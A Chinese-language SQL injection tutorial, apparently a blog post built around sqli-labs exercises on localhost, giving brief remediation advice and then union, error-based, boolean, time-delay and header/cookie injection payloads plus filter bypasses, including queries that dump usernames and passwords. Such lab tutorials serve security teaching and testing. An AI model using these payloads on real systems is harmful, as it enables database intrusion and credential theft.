目錄:
一、SQL注入漏洞介紹
二、修複建議
三、通用姿勢
四、具體執行個體
五、各種繞過
一、SQL注入漏洞介紹:
SQL注入攻擊包括通過輸入資料從用戶端插入或“注入”SQL查詢到應用程式。一個成功的SQL注入攻擊可以從資料庫中擷取敏感資料、修改資料庫資料(插入/更新/删除)、執行資料庫管理操作(如關閉資料庫管理系統)、恢複存在于資料庫檔案系統中的指定檔案内容,在某些情況下能對作業系統釋出指令。SQL注入攻擊是一種注入攻擊。它将SQL指令注入到資料層輸入,進而影響執行預定義的SQL指令。由于使用者的輸入,也是SQL語句的一部分,是以攻擊者可以利用這部分可以控制的内容,注入自己定義的語句,改變SQL語句執行邏輯,讓資料庫執行任意自己需要的指令。通過控制部分SQL語句,攻擊者可以查詢資料庫中任何自己需要的資料,利用資料庫的一些特性,可以直接擷取資料庫伺服器的系統權限。
二、修複建議
- 使用參數化查詢接口或在代碼級對帶入SQL語句中的外部參數進行轉義或過濾;
- 對于整數,判斷變量是否符合[0-9]的值;其他限定值,也可以進行合法性校驗;
- 對于字元串,對SQL語句特殊字元進行轉義(單引号轉成兩個單引号,雙引号轉成兩個雙引号)。
三、通用姿勢
3.1 通過以下操作先大概判斷是否存在注入點
- 如果參數(id)是數字,測試id=2-1與id=1傳回的結果是否相同,如果做了2-1=1的運算,說明可能存在數字型注入。如果要用+号運算的話,因為URL編碼的問題,需要把加好換成%2B,如id=1%2B1
- 在參數後面加單引号或雙引号,判斷傳回結果是否有報錯
- 添加注釋符,判斷前後是否有報錯,如id=1\' --+ 或 id=1" --+ 或id=1\' # 或id=1" --+ (--後面跟+号,是把+當成空格使用)
- 有些參數可能在括号裡面,如:SELECT first_name, last_name FROM users WHERE user_id = (\'$id\');是以也可以在參數後面加單雙引号和括号,如id=1\') --+ 或 id=1") --+ 或id=1\') # 或id=1") --+
- 參數後面跟or 或者and,判斷傳回結果是否有變化,如1\' or \'a\'=\'a 或者and \'a\'=\'a或者1\' or \'a\'=\'b或者1\' or \'1\'=\'2
- 如果傳回的正确頁面與錯誤頁面都一樣,可以考慮時間延遲的方法判斷是否存在注入,如 1’ and sleep(5)
3.2 如果存在注入,利用注入擷取資訊
3.2.1 查詢結果如果可以直接傳回
利用聯合查詢一步步的擷取資訊,如:
// 擷取資料庫名稱,注意聯合查詢要求前後查詢的列數和資料類型必須對應
1\' union select schema_name ,1 from information_schema.schemata --
//根據上一步擷取的資料庫名稱,擷取表名
1\' union select table_name from information_schema.tables where table_schema=\'database_name\'
//根據上面的資料庫名稱和表名擷取字段名
1\' union select column_name from information_schema.columns where table_schema=\'database_name\' and table_name=\'table_name\'
//擷取字段值,使用group_concat的目的是把查詢結果合并成1列,另外,如果跨資料庫查詢值得花,需要使用資料庫名.表明的格式,比如information_schema.schemata
1′ union select group_concat(user_id,first_name,last_name),group_concat(password) from 資料庫名.表名
3.2.2 通過報錯回顯查詢結果,如:
#利用報錯回顯查詢到的值,回顯目前的資料庫名
and extractvalue(1,concat(0x7e,(select database())))
#回顯表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=\'security\' )))
#回顯列名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=\'security\' and table_name=\'users\')))
3.2.3 布爾型注入,如:
#判斷資料庫名的長度是多少
SELECT * FROM users where id =\'1\' and LENGTH(database())=8
# 二分查找發挨個判斷資料庫名稱的每個字母
SELECT * FROM users where id =\'1\' and ascii(substr((select database()),1,1))>115
#挨個判斷此資料庫中表的每個字母
SELECT * FROM users where id =\'1\' and ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit 3,1),1,1))>116
3.2.4 時間延遲注入,如:
and IF(ascii(substr((select database()),1,1))>115,1,sleep(5))
四、具體執行個體
4.1 字元型(參數在單引号内,直接傳回結果)
步驟1:參數後面加一個單引号報SQL錯誤
分析:單引号報錯,是以參數在兩個單引号裡面,通過閉合單引号、聯合查詢直接查詢到資料庫資料
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsISM9AnYldnJwAzN9c3Pn5GcuQ0MlQ0MlcnW1JkbMVTWq10MjpnTzklaOhHM550dRpXT4VFVOpXR65UerRUT0UERNlHMT50MNRVT3lEVNZ3aE1ENFRUT5hzUONTTU10dJRVT2NmMiNnSywEd5ITW110MaZHetlVdO1GT0UERNl3YXJGc5kHT20ESjBjUIF2Lc12bj5SYphXa5VWen5WY35iclN3Ztl2Lc9CX6MHc0RHaiojIsJye.png)
步驟2:構造payload
id=0\' union select NULL,database(),NULL --+ #查詢目前資料庫的名稱
#爆庫名
id=0\' union select null,group_concat(schema_name),null from information_schema.schemata --+
#爆表名
id=0\' union select null,group_concat(table_name),null from information_schema.tables where table_schema=\'security\' --+
#爆字段名
id=0\' union select null,group_concat(column_name),null from information_schema.columns where table_schema=\'security\' and table_name=\'users\' --+
#擷取資料庫中的資料
id=0\' union select null,group_concat(username,0x3a,password),null from security.users--+
4.2 數字型(直接傳回結果)
步驟1:id=1與id=2-1傳回相同結果,數字型注入
步驟2:構造payload
無需引号閉合,id後面直接跟聯合索引就行了
#爆庫名
4.3 字元型(參數在單引号和括号内、直接傳回結果)
步驟1:輸入單引号報錯,根據報錯可知參數在單引号和括号内
步驟2:閉合查詢
用單引号、括号和注釋閉合查詢,payload: id=1\') --+
步驟3:各種爆,與上面的操作相同
4.4 布爾型(參數在單引内、不傳回查詢結果)
步驟1:輸入單引号報錯,根據報錯得知參數在單引号内,構造id=1\' --+傳回正确頁面,确認存在注入
步驟2:查詢結果不傳回,根據id=1\' and 1=1 --+ 與 id=1\' and 1=2 --+傳回結果不同,判斷存在布爾型注入
步驟3:構造payload,先判斷資料庫名的長度,id=1\' \' and LENGTH(database())=8 --+ 值等于8的時候傳回正确的頁面,說明資料庫長度為8
步驟4:通過二分查找法,挨個判斷資料庫名稱的每個字母
id=1\' and ascii(substr((select database()),1,1))>110 --+ #判斷第一個字母的ascii是否大于110,傳回正确頁面,說明大于110
id=1\' and ascii(substr((select database()),1,1))>118 --+ #判斷第一個字母的ascii是否大于118,傳回不正确頁面,說明小與等于118
id=1\' and ascii(substr((select database()),1,1))>115 --+ #判斷第一個字母的ascii是否大于115,傳回不正确頁面,說明小與等于115
id=1\' and ascii(substr((select database()),1,1))>113 --+ #判斷第一個字母的ascii是否大于113,傳回正确頁面,說明大與113
id=1\' and ascii(substr((select database()),1,1))>114 --+ #判斷第一個字母的ascii是否大于114,傳回正确頁面,說明大與114
大于114,小于等于115,第一個字母的ascii值肯定就是115了,是以第一個字母就是s,依次類推可以查到剩下的所有字母。
4.5 布爾型(參數在單引内和兩個括号内、不傳回查詢結果)
步驟1:輸入單引号報錯,但沒有詳細的報錯提示
步驟2:增加1個括号也報錯,增加2個括号傳回正确
步驟3:布爾型,不傳回查詢結果,payload與上面的相同。
4.6 時間延遲注入(無論查詢是否正确都傳回一樣的頁面)
步驟1:如論輸入什麼,都傳回一樣的頁面,是以考慮時間延遲注入
步驟2:直接1 and sleep(5) --+ 沒延遲,說明查詢語句沒有閉合成功
步驟3:猜測參數在單引号内,構造payload:id=1\' and sleep(5) --+ 頁面相應延遲,存在注入
步驟4:構造payload,當資料庫名長度為8的時候沒有延遲,說明資料庫名稱的長度就是8
id=1\' AND IF(LENGTH(database())=8,1,sleep(10)) --+
步驟5:通過如下方式,挨個判斷資料庫名的字母
id=1\' and IF(ascii(substr((select database()),1,1))>115,1,sleep(5)) --+
4.7 字元型報錯注入(錯誤值被傳回)
步驟1:按下面的測試,username字段存在字元型注入,參數在單引号内
步驟2:username字段輸入一些無關的東西,SQL報錯詳情被回顯
步驟3:利用extractvalue函數,讓執行的結果以報錯的方式顯示出來
extractvalue(目标xml文檔,xml路徑),第二個參數的格式是/xxx/xx/xx/xx,如果格式不正确就會把報錯顯示出來
構造payload:uname=admin\' and extractvalue(1,concat(0x7e,(select database())))--+
4.7 user-agent類型的注入
步驟1:user-agent的值被原封傳回了
步驟2:這裡需要借助源碼審計了,否則不容易猜到真實的sql語句。
如下源碼所示,SQL語句是三個字段的insert語句,然後$uagent被傳回。
步驟3:結合報錯注入,構造payload:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0\', extractvalue(1,concat(0x7e,(select database()))),\'1\') #
4.8 Referer類型的注入
方法與上述相同,先閉合sql語句,然後利用報錯傳回,payload如下:
Referer: http://127.0.0.1/sql/Less-19/\',extractvalue(1,concat(0x7e,(select database()))))#
4.9 Cookie類型的注入
步驟1:輸入單引号報錯,确認屬于cookie類型的注入,而且報錯回顯了,利用報錯回顯資料
步驟2:構造payload
Cookie: uname=admin\' and extractvalue(1,concat(0x7e,(select database()))) #
五、各種繞過
5.1 注釋符被過濾(--、#)
方法1:union查詢中多加一個單引号以便閉合sql語句,比如:
id=0\' union select null,database(),\'null
id=0\' union select null,group_concat(schema_name),null from information_schema.schemata union select null,null,\'nul
5.2 空格被過濾
方法1:使用/**/注釋符代替空格
未完待續……